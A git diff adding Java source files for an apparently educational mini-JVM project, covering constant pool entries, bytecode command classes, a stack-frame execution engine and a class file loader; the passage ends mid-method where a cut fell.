diff --git a/group15/1507_977996067/src/task8/jvm/cmd/OneOperandCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..5579b19d8f
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/PutFieldCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..3938d110b7
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/TwoOperandCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..f05e5dd9e4
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,63 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.*;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand {
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/ClassInfo.java b/group15/1507_977996067/src/task8/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..21e6655f29
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/ClassInfo.java
@@ -0,0 +1,31 @@
+package task8.jvm.constant;
+
+import task8.jvm.print.ConstantInfoVisitor;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public void accept(ConstantInfoVisitor visitor) {
+		visitor.visitClassInfo(this);
+	}
+
+	public String getClassName() {
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/ConstantInfo.java b/group15/1507_977996067/src/task8/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..a6fe00f23d
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/ConstantInfo.java
@@ -0,0 +1,35 @@
+package task8.jvm.constant;
+
+import task8.jvm.print.ConstantInfoVisitor;
+
+public abstract class ConstantInfo {
+    public static final int UTF8_INFO = 1;
+    public static final int FLOAT_INFO = 4;
+    public static final int CLASS_INFO = 7;
+    public static final int STRING_INFO = 8;
+    public static final int FIELD_INFO = 9;
+    public static final int METHOD_INFO = 10;
+    public static final int NAME_AND_TYPE_INFO = 12;
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+        this.constantPool = pool;
+    }
+
+    public abstract int getType();
+
+    public abstract void accept(ConstantInfoVisitor visitor);
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantPool.getConstantInfo(index);
+    }
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/ConstantPool.java b/group15/1507_977996067/src/task8/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..4f467f53e7
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/ConstantPool.java
@@ -0,0 +1,37 @@
+package task8.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+
+    private List<ConstantInfo> constantInfos;
+
+    public ConstantPool() {
+        this.constantInfos = new ArrayList<>();
+    }
+
+    public ConstantPool(int size) {
+        this.constantInfos = new ArrayList<>(size);
+
+        addConstantInfo(new NullConstantInfo());
+    }
+
+    public void addConstantInfo(ConstantInfo info) {
+
+        this.constantInfos.add(info);
+
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantInfos.get(index);
+    }
+
+    public String getUTF8String(int index) {
+        return ((UTF8Info) this.constantInfos.get(index)).getValue();
+    }
+
+    public Object getSize() {
+        return this.constantInfos.size() - 1;
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/FieldRefInfo.java b/group15/1507_977996067/src/task8/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..8f1b247214
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,65 @@
+package task8.jvm.constant;
+
+import task8.jvm.print.ConstantInfoVisitor;
+
+public class FieldRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.FIELD_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitFieldRefInfo(this);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+
+        return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
+    }
+
+    public String getClassName() {
+
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+
+        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
+
+        return utf8Info.getValue();
+
+    }
+
+    public String getFieldName() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getFieldType() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/MethodRefInfo.java b/group15/1507_977996067/src/task8/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..6e567ab507
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,65 @@
+package task8.jvm.constant;
+
+import task8.jvm.print.ConstantInfoVisitor;
+
+public class MethodRefInfo extends ConstantInfo {
+
+    private int type = ConstantInfo.METHOD_INFO;
+
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitMethodRefInfo(this);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+        return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
+    }
+
+    public String getClassName() {
+        ConstantPool pool = this.getConstantPool();
+        ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        return clzInfo.getClassName();
+    }
+
+    public String getMethodName() {
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getParamAndReturnType() {
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/NameAndTypeInfo.java b/group15/1507_977996067/src/task8/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..1ff765a7f6
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,56 @@
+package task8.jvm.constant;
+
+import task8.jvm.print.ConstantInfoVisitor;
+
+public class NameAndTypeInfo extends ConstantInfo {
+    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+    private int index1;
+    private int index2;
+
+    public NameAndTypeInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getIndex1() {
+        return index1;
+    }
+
+    public void setIndex1(int index1) {
+        this.index1 = index1;
+    }
+
+    public int getIndex2() {
+        return index2;
+    }
+
+    public void setIndex2(int index2) {
+        this.index2 = index2;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitNameAndTypeInfo(this);
+    }
+
+
+    public String getName() {
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
+        return utf8Info1.getValue();
+    }
+
+    public String getTypeInfo() {
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
+        return utf8Info2.getValue();
+    }
+
+    public String toString() {
+        return "(" + getName() + "," + getTypeInfo() + ")";
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/NullConstantInfo.java b/group15/1507_977996067/src/task8/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..b69f30c334
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,21 @@
+package task8.jvm.constant;
+
+import task8.jvm.print.ConstantInfoVisitor;
+
+public class NullConstantInfo extends ConstantInfo {
+
+    public NullConstantInfo() {
+
+    }
+
+    @Override
+    public int getType() {
+        return -1;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        // non impl
+    }
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/StringInfo.java b/group15/1507_977996067/src/task8/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..0fb1d53b58
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/StringInfo.java
@@ -0,0 +1,35 @@
+package task8.jvm.constant;
+
+import task8.jvm.print.ConstantInfoVisitor;
+
+public class StringInfo extends ConstantInfo {
+    private int type = ConstantInfo.STRING_INFO;
+    private int index;
+
+    public StringInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitStringInfo(this);
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+
+
+    public String toString() {
+        return this.getConstantPool().getUTF8String(index);
+    }
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/constant/UTF8Info.java b/group15/1507_977996067/src/task8/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..1587a05525
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/constant/UTF8Info.java
@@ -0,0 +1,45 @@
+package task8.jvm.constant;
+
+import task8.jvm.print.ConstantInfoVisitor;
+
+public class UTF8Info extends ConstantInfo {
+    private int type = ConstantInfo.UTF8_INFO;
+    private int length;
+    private String value;
+
+    public UTF8Info(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitUtf8Info(this);
+    }
+
+    @Override
+    public String toString() {
+        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
+    }
+
+    public String getValue() {
+        return value;
+    }
+
+    public void setValue(String value) {
+        this.value = value;
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/engine/ExecutionResult.java b/group15/1507_977996067/src/task8/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..01f910c52c
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/engine/ExecutionResult.java
@@ -0,0 +1,53 @@
+package task8.jvm.engine;
+
+import task8.jvm.method.Method;
+
+public class ExecutionResult {
+    public static final int RUN_NEXT_CMD = 1;
+    public static final int JUMP = 2;
+    public static final int EXIT_CURRENT_FRAME = 3;
+    public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+
+    private int nextAction = RUN_NEXT_CMD;
+
+    private int nextCmdOffset = 0;
+
+    private Method nextMethod;
+
+    public Method getNextMethod() {
+        return nextMethod;
+    }
+
+    public void setNextMethod(Method nextMethod) {
+        this.nextMethod = nextMethod;
+    }
+
+
+    public void setNextAction(int action) {
+        this.nextAction = action;
+    }
+
+    public boolean isPauseAndRunNewFrame() {
+        return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+    }
+
+    public boolean isExitCurrentFrame() {
+        return this.nextAction == EXIT_CURRENT_FRAME;
+    }
+
+    public boolean isRunNextCmd() {
+        return this.nextAction == RUN_NEXT_CMD;
+    }
+
+    public boolean isJump() {
+        return this.nextAction == JUMP;
+    }
+
+    public int getNextCmdOffset() {
+        return nextCmdOffset;
+    }
+
+    public void setNextCmdOffset(int nextCmdOffset) {
+        this.nextCmdOffset = nextCmdOffset;
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/engine/ExecutorEngine.java b/group15/1507_977996067/src/task8/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..ffcda2e803
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,49 @@
+package task8.jvm.engine;
+
+import task8.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Stack;
+
+public class ExecutorEngine {
+    private Stack<StackFrame> stack = new Stack<>();
+
+    public ExecutorEngine() {
+
+    }
+
+    public void execute(Method mainMethod) {
+
+        StackFrame frame = StackFrame.create(mainMethod);
+        stack.push(frame);
+
+        while (!stack.empty()) {
+            StackFrame sf = stack.peek();
+            ExecutionResult result = sf.execute();
+            if (result.isPauseAndRunNewFrame()) {
+                Method nextMethod = result.getNextMethod();
+                StackFrame nextMethodStackFrame = StackFrame.create(nextMethod);
+                nextMethodStackFrame.setCallerFrame(sf);
+                setupFunctionCallParams(sf, nextMethodStackFrame);
+                stack.push(nextMethodStackFrame);
+            } else stack.pop();
+        }
+
+    }
+
+    private void setupFunctionCallParams(StackFrame currentFrame, StackFrame nextFrame) {
+        Method nextMethod = nextFrame.getMethod();
+        List<String> paramList = nextMethod.getParameterList();
+        List<JavaObject> values = new ArrayList<>();
+        int paramNumber = paramList.size() + 1;
+        while (paramNumber > 0) {
+            values.add(currentFrame.getOprandStack().pop());
+            paramNumber--;
+        }
+        Collections.reverse(values);
+        nextFrame.setLocalVariableTable(values);
+
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/engine/Heap.java b/group15/1507_977996067/src/task8/jvm/engine/Heap.java
new file mode 100644
index 0000000000..c3a551e88c
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package task8.jvm.engine;
+
+public class Heap {
+
+    private Heap() {
+
+    }
+
+    public static Heap INSTANCE = new Heap();
+
+    public static Heap getInstance() {
+        return INSTANCE;
+    }
+
+    public JavaObject newObject(String className) {
+        JavaObject object = new JavaObject(JavaObject.OBJECT);
+        object.setClassName(className);
+        return object;
+    }
+
+    public JavaObject newString(String value) {
+        JavaObject object = new JavaObject(JavaObject.STRING);
+        object.setStringValue(value);
+        return object;
+    }
+
+    public JavaObject newInt(int value) {
+        JavaObject object = new JavaObject(JavaObject.INT);
+        object.setIntValue(value);
+        return object;
+    }
+
+    public JavaObject newFloat(int value) {
+        JavaObject object = new JavaObject(JavaObject.FLOAT);
+        object.setFloatValue(value);
+        return object;
+    }
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/engine/JavaObject.java b/group15/1507_977996067/src/task8/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..596f3c058e
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/engine/JavaObject.java
@@ -0,0 +1,81 @@
+package task8.jvm.engine;
+
+import java.util.Map;
+import java.util.HashMap;
+
+public class JavaObject {
+    public static final int OBJECT = 1;
+    public static final int STRING = 2;
+    public static final int INT = 3;
+    public static final int FLOAT = 4;
+
+    int type;
+    private String className;
+
+    private Map<String, JavaObject> fieldValues = new HashMap<String, JavaObject>();
+
+    private String stringValue;
+
+    private int intValue;
+
+    private float floatValue;
+
+    public void setFieldValue(String fieldName, JavaObject fieldValue) {
+        fieldValues.put(fieldName, fieldValue);
+    }
+
+    public JavaObject(int type) {
+        this.type = type;
+    }
+
+    public void setClassName(String className) {
+        this.className = className;
+    }
+
+    public void setStringValue(String value) {
+        stringValue = value;
+    }
+
+    public String getStringValue() {
+        return this.stringValue;
+    }
+
+    public void setIntValue(int value) {
+        this.intValue = value;
+    }
+
+    public int getIntValue() {
+        return this.intValue;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    public JavaObject getFieldValue(String fieldName) {
+        return this.fieldValues.get(fieldName);
+    }
+
+    public String toString() {
+        switch (this.getType()) {
+            case INT:
+                return String.valueOf(this.intValue);
+            case STRING:
+                return this.stringValue;
+            case OBJECT:
+                return this.className + ":" + this.fieldValues;
+            case FLOAT:
+                return String.valueOf(this.floatValue);
+            default:
+                return null;
+        }
+    }
+
+    public String getClassName() {
+        return this.className;
+    }
+
+    public void setFloatValue(float value) {
+        this.floatValue = value;
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/engine/MethodArea.java b/group15/1507_977996067/src/task8/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..d6757f12e2
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/engine/MethodArea.java
@@ -0,0 +1,41 @@
+package task8.jvm.engine;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.MethodRefInfo;
+import task8.jvm.loader.ClassFileLoader;
+import task8.jvm.method.Method;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class MethodArea {
+
+    private MethodArea() {
+    }
+
+    private static MethodArea INSTANCE = new MethodArea();
+
+    private ClassFileLoader classFileLoader;
+
+    Map<String, ClassFile> map = new HashMap<>();
+
+    public static MethodArea getInstance() {
+        return INSTANCE;
+    }
+
+    public Method getMainMethod(String className) {
+        return classFileLoader.loadClass(className).getMainMethod();
+    }
+
+    public Method getMethod(MethodRefInfo info) {
+        return classFileLoader.loadClass(info.getClassName()).getMethod(info.getMethodName(), info.getParamAndReturnType());
+    }
+
+    public ClassFileLoader getClassFileLoader() {
+        return classFileLoader;
+    }
+
+    public void setClassFileLoader(ClassFileLoader classFileLoader) {
+        this.classFileLoader = classFileLoader;
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/engine/MiniJVM.java b/group15/1507_977996067/src/task8/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..63250e5815
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/engine/MiniJVM.java
@@ -0,0 +1,18 @@
+package task8.jvm.engine;
+
+import task8.jvm.loader.ClassFileLoader;
+
+import java.util.Arrays;
+
+public class MiniJVM {
+
+    public void run(String[] classpath, String className) throws Exception {
+        ClassFileLoader loader = new ClassFileLoader();
+        Arrays.stream(classpath).forEach(loader::addClassPath);
+        MethodArea methodArea = MethodArea.getInstance();
+        methodArea.setClassFileLoader(loader);
+
+        ExecutorEngine executorEngine = new ExecutorEngine();
+        executorEngine.execute(methodArea.getMainMethod(className.replaceAll("\\.", "/")));
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/engine/StackFrame.java b/group15/1507_977996067/src/task8/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..7763e0b78b
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/engine/StackFrame.java
@@ -0,0 +1,106 @@
+package task8.jvm.engine;
+
+import task8.jvm.cmd.ByteCodeCommand;
+import task8.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class StackFrame {
+    private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+    private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+
+    int index = 0;
+
+    private Method m = null;
+
+    private StackFrame callerFrame = null;
+
+    public StackFrame getCallerFrame() {
+        return callerFrame;
+    }
+
+    public void setCallerFrame(StackFrame callerFrame) {
+        this.callerFrame = callerFrame;
+    }
+
+
+    public static StackFrame create(Method m) {
+
+        StackFrame frame = new StackFrame(m);
+
+        return frame;
+    }
+
+
+    private StackFrame(Method m) {
+        this.m = m;
+
+    }
+
+
+    public JavaObject getLocalVariableValue(int index) {
+        return this.localVariableTable.get(index);
+    }
+
+    public Stack<JavaObject> getOprandStack() {
+        return this.oprandStack;
+    }
+
+    public int getNextCommandIndex(int offset) {
+
+        ByteCodeCommand[] cmds = m.getCodeAttr().getCmds();
+        for (int i = 0; i < cmds.length; i++) {
+            if (cmds[i].getOffset() == offset) {
+                return i;
+            }
+        }
+        throw new RuntimeException("Can't find next command");
+    }
+
+    public ExecutionResult execute() {
+        ByteCodeCommand[] cmds = m.getCmds();
+        int length = cmds.length;
+
+        while (index < length) {
+            ExecutionResult result = new ExecutionResult();
+            result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+            cmds[index].execute(this, result);
+
+            if (result.isRunNextCmd()) {
+                index++;
+            } else if (result.isExitCurrentFrame()) {
+                return result;
+            } else if (result.isPauseAndRunNewFrame()) {
+                index++;
+                return result;
+            } else if (result.isJump()) {
+                index = getNextCommandIndex(result.getNextCmdOffset());
+            } else index++;
+        }
+        return null;
+
+    }
+
+
+    public void setLocalVariableTable(List<JavaObject> values) {
+        this.localVariableTable = values;
+    }
+
+    public void setLocalVariableValue(int index, JavaObject jo) {
+        //问题： 为什么要这么做？？
+        if (this.localVariableTable.size() - 1 < index) {
+            for (int i = this.localVariableTable.size(); i <= index; i++) {
+                this.localVariableTable.add(null);
+            }
+        }
+        this.localVariableTable.set(index, jo);
+
+
+    }
+
+    public Method getMethod() {
+        return m;
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/field/Field.java b/group15/1507_977996067/src/task8/jvm/field/Field.java
new file mode 100644
index 0000000000..34a79aebca
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/field/Field.java
@@ -0,0 +1,48 @@
+package task8.jvm.field;
+
+
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.constant.UTF8Info;
+import task8.jvm.loader.ByteCodeIterator;
+
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private ConstantPool pool;
+
+    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
+
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+        this.pool = pool;
+    }
+
+    public String toString() {
+        String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
+        return name + ":" + desc;
+    }
+
+
+    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
+
+        int accessFlag = iter.next2Bytes();
+        int nameIndex = iter.next2Bytes();
+        int descIndex = iter.next2Bytes();
+        int attribCount = iter.next2Bytes();
+        //System.out.println("field attribute count:"+ attribCount);
+
+        Field f = new Field(accessFlag, nameIndex, descIndex, pool);
+
+        if (attribCount > 0) {
+            throw new RuntimeException("Field Attribute has not been implemented");
+        }
+
+        return f;
+    }
+
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task8/jvm/loader/ByteCodeIterator.java b/group15/1507_977996067/src/task8/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..cdd96f4953
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,56 @@
+package task8.jvm.loader;
+
+import task8.jvm.util.Util;
+
+import java.util.Arrays;
+
+public class ByteCodeIterator {
+
+    private int position;
+
+    private byte[] bytes;
+
+    public ByteCodeIterator(byte[] bytes) {
+        this.bytes = bytes;
+    }
+
+    public String getMagicNumber() {
+        position = 0;
+        byte[] bytes = Arrays.copyOf(this.bytes, 4);
+        position += 4;
+        return Util.byteToHexString(bytes);
+    }
+
+    public int next2Bytes() {
+        return nextBytes(2);
+    }
+
+    public int next4Bytes() {
+        return nextBytes(4);
+    }
+
+    public int nextFlag() {
+        return nextBytes(1);
+    }
+
+    public void back(int length) {
+        position -= length;
+    }
+
+    public byte[] getBytes(int length) {
+        byte[] bytes = Arrays.copyOfRange(this.bytes, position, position + length);
+        position += length;
+        return bytes;
+    }
+
+    public String nextUxToHexString(int length) {
+        return new String(getBytes(length));
+    }
+
+    private int nextBytes(int size) {
+        byte[] bytes = Arrays.copyOfRange(this.bytes, position, position + size);
+        position += size;
+        return Util.byteToInt(bytes);
+    }
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/loader/ClassFileLoader.java b/group15/1507_977996067/src/task8/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..fad8a033a7
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,122 @@
+package task8.jvm.loader;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+import task8.jvm.clz.ClassFile;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFileLoader {
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+
+        className = className.replace('.', File.separatorChar) + ".class";
+
+        for (String path : this.clzPaths) {
+
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if (codes != null) {
+                return codes;
+            }
+        }
+        return null;
+    }
+
+    private byte[] loadClassFile(String clzFileName) {
+
+        File f = new File(clzFileName);
+
+        try {
+
+            return IOUtils.toByteArray(new FileInputStream(f));
+
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+
+    public void addClassPath(String path) {
+        if (this.clzPaths.contains(path)) {
+            return;
+        }
+
+        this.clzPaths.add(path);
+
+    }
+
+
+    public String getClassPath() {
+        return StringUtils.join(this.clzPaths, ";");
+    }
+
+    public ClassFile loadClass(String className) {
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParser parser = new ClassFileParser();
+        return parser.parse(codes);
+
+    }
+
+
+    // ------------------------------backup------------------------
+    public String getClassPath_V1() {
+
+        StringBuffer buffer = new StringBuffer();
+        for (int i = 0; i < this.clzPaths.size(); i++) {
+            buffer.append(this.clzPaths.get(i));
+            if (i < this.clzPaths.size() - 1) {
+                buffer.append(";");
+            }
+        }
+        return buffer.toString();
+    }
+
+    private byte[] loadClassFile_V1(String clzFileName) {
+
+        BufferedInputStream bis = null;
+
+        try {
+
+            File f = new File(clzFileName);
+
+
